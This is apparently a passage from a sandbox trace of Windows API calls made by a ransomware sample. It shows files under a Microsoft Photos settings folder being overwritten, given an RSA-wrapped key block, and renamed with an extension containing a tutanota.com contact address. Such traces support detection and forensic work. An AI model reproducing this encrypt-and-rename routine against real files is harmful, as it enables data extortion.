() returned 0x12 [0201.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee83d8 | out: hHeap=0x570000) returned 1 [0201.157] GetLastError () returned 0x12 [0201.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9128 | out: hHeap=0x570000) returned 1 [0201.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668aa0 [0201.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0201.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0201.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee7e60 [0201.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0201.157] GetLastError () returned 0x12 [0201.157] GetLastError () returned 0x12 [0201.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee7e60 | out: hHeap=0x570000) returned 1 [0201.157] GetLastError () returned 0x12 [0201.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0201.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668ed8 [0201.158] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0201.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0201.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0201.158] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0201.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee7a78 [0201.158] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0201.158] GetLastError () returned 0x12 [0201.158] GetLastError () returned 0x12 [0201.158] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee7a78 | out: hHeap=0x570000) returned 1 [0201.158] GetLastError () returned 0x12 [0201.158] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0201.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669670 [0201.158] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.158] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0201.160] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669aa8 [0201.160] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.160] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x669aa8 | out: hHeap=0x570000) returned 1 [0201.161] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1198 [0201.161] GetFileSizeEx (in: hFile=0x1198, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0201.161] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d370 [0201.161] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d1c0 [0201.161] ReadFile (in: hFile=0x1198, lpBuffer=0x59d370, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.161] SetFilePointer (in: hFile=0x1198, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.161] WriteFile (in: hFile=0x1198, lpBuffer=0x59d1c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.161] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d370 | out: hHeap=0x570000) returned 1 [0201.161] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0201.162] SetFilePointer (in: hFile=0x1198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0201.162] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.162] WriteFile (in: hFile=0x1198, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.163] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.163] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.163] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.163] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.163] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="7FUnfxoijH5UgQvsEh1SKfKPhUaVrch2PHdatErrDDcCiOJNokw1N9C2MG/d5TES\nsbgJWlJplRrLBKYOBMMKCet5s+P7Z9lWDeBliRCa3DWtc3YI8QTLDu56dxCRE6Xt\n/1vF7sYdrOUwSkpt2jiT/DkXNlT6XbEcGgIukikkaRy+c2OthbzKmeuGj4Uo1tXV\nsTq4C2V1XYJBPuHfjKpcFd7H1LbmJ3EbAqveer0/6vSXZpjizAf3nU28Kf5r/9K3\n930v1vhW5HQblzB6K/qfdWGHkmzG+XHf7KkEPKasOjjdn5QiQUfV281NJUq6+x+d\nqD29xMvgZTWh8N0geHEhaw==\n", pcchString=0x2e3f9a8) returned 1 [0201.163] WriteFile (in: hFile=0x1198, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.163] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.163] WriteFile (in: hFile=0x1198, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.164] CloseHandle (hObject=0x1198) returned 1 [0201.164] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0201.164] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.log2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.log2.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0201.166] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0201.166] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee90d8 | out: hHeap=0x570000) returned 1 [0201.166] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x669b80 | out: hHeap=0x570000) returned 1 [0201.166] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x669670 | out: hHeap=0x570000) returned 1 [0201.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669088 [0201.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee9380 [0201.166] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.166] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0201.168] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6683e0 [0201.168] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.168] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6683e0 | out: hHeap=0x570000) returned 1 [0201.168] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1198 [0201.169] GetFileSizeEx (in: hFile=0x1198, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0201.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f978e8 [0201.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f998f0 [0201.169] ReadFile (in: hFile=0x1198, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.215] SetFilePointer (in: hFile=0x1198, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.215] WriteFile (in: hFile=0x1198, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f978e8 | out: hHeap=0x570000) returned 1 [0201.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f998f0 | out: hHeap=0x570000) returned 1 [0201.215] SetFilePointer (in: hFile=0x1198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0201.215] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.216] WriteFile (in: hFile=0x1198, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.216] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.216] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.216] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.216] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZYgNI41PnqvxppRYOnBkLfD4DWmbokk0o6taep3NzPDNQrNpvm7RpqDOG/dFJA1U\nQVUSJKf6Lg7avAxI4efkrX55dY2jtdH9vFARUgBvFv5DTv4G6XbOkANiuS1VrJaE\nDKqyrbkJeAybf5gv84g6ZXo7SKDpCqfSWNDIufVF0oWlpNA5olEsXd5GjJou3VVK\nMM6W/GaLyuFxnWXWQR8iVWJlDfXWV+cpxXeXEUKRCZ9CuqASXsXd/nouIOzbp/o+\nmFK8WCZlTnT+KRPRjNz9n3fNSY6FPOLU7dRwiRyOGggOQUX7vFxpqc6GQKkGJ2o0\n5jxgm44X+LXEloSdU9o9gA==\n", pcchString=0x2e3f9a8) returned 1 [0201.216] WriteFile (in: hFile=0x1198, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.217] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.217] WriteFile (in: hFile=0x1198, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.217] CloseHandle (hObject=0x1198) returned 1 [0201.217] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0201.217] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.log1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.log1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0201.219] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0201.219] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9380 | out: hHeap=0x570000) returned 1 [0201.219] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x669088 | out: hHeap=0x570000) returned 1 [0201.219] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668ed8 | out: hHeap=0x570000) returned 1 [0201.219] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668740 [0201.219] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee90d8 [0201.219] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.219] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0201.220] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669238 [0201.220] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.220] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x669238 | out: hHeap=0x570000) returned 1 [0201.221] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1198 [0201.221] GetFileSizeEx (in: hFile=0x1198, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0201.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f8d8c0 [0201.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f9d900 [0201.221] ReadFile (in: hFile=0x1198, lpBuffer=0x2f8d8c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.230] SetFilePointer (in: hFile=0x1198, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.231] WriteFile (in: hFile=0x1198, lpBuffer=0x2f9d900*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9d900*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8d8c0 | out: hHeap=0x570000) returned 1 [0201.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f9d900 | out: hHeap=0x570000) returned 1 [0201.231] SetFilePointer (in: hFile=0x1198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0201.231] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.231] WriteFile (in: hFile=0x1198, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.231] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.231] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.232] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.232] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.232] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cJi6cMa0B/mi2eqLF62EWZ/CFzJlcg/SaqK8dnyxVIjiBnSta+Ud6sr94B+LoeP/\nmxSCLoOfPFtyFrqdXvcN8H9RHfBm5q5zvGhKCdbU5hNYOp8DPC8v0O3sgKc1VimW\nP90iEJPzakVgjAK+UFw3QNGPu8mHUmNhr05GZyyCUdxMD3EuiE4lf6VGDulHfnLk\nboSMkVagDjdHjzn7a/J6xDYal1gFdDPzD4bmdEo4bi0DjW7WthdcdJoS0mIW4mcU\n+5ggycwNkvBCS4QYKr4eq/BEfdqi4icL+KCyKLqoAoQ2XxmWEjcU07qw3AlcKSSW\nROejC4XFE9YfV4fXZ7eEaA==\n", pcchString=0x2e3f9a8) returned 1 [0201.232] WriteFile (in: hFile=0x1198, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.232] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.232] WriteFile (in: hFile=0x1198, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.232] CloseHandle (hObject=0x1198) returned 1 [0201.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0201.232] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0201.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0201.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee90d8 | out: hHeap=0x570000) returned 1 [0201.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668740 | out: hHeap=0x570000) returned 1 [0201.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668aa0 | out: hHeap=0x570000) returned 1 [0201.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669088 [0201.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee9128 [0201.235] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.235] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0201.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6689c8 [0201.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6689c8 | out: hHeap=0x570000) returned 1 [0201.235] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1198 [0201.236] GetFileSizeEx (in: hFile=0x1198, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0201.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d370 [0201.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d340 [0201.236] ReadFile (in: hFile=0x1198, lpBuffer=0x59d370, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.236] SetFilePointer (in: hFile=0x1198, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.236] WriteFile (in: hFile=0x1198, lpBuffer=0x59d340*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d340*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d370 | out: hHeap=0x570000) returned 1 [0201.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0201.236] SetFilePointer (in: hFile=0x1198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0201.236] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.236] WriteFile (in: hFile=0x1198, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.237] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.237] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.238] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.238] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 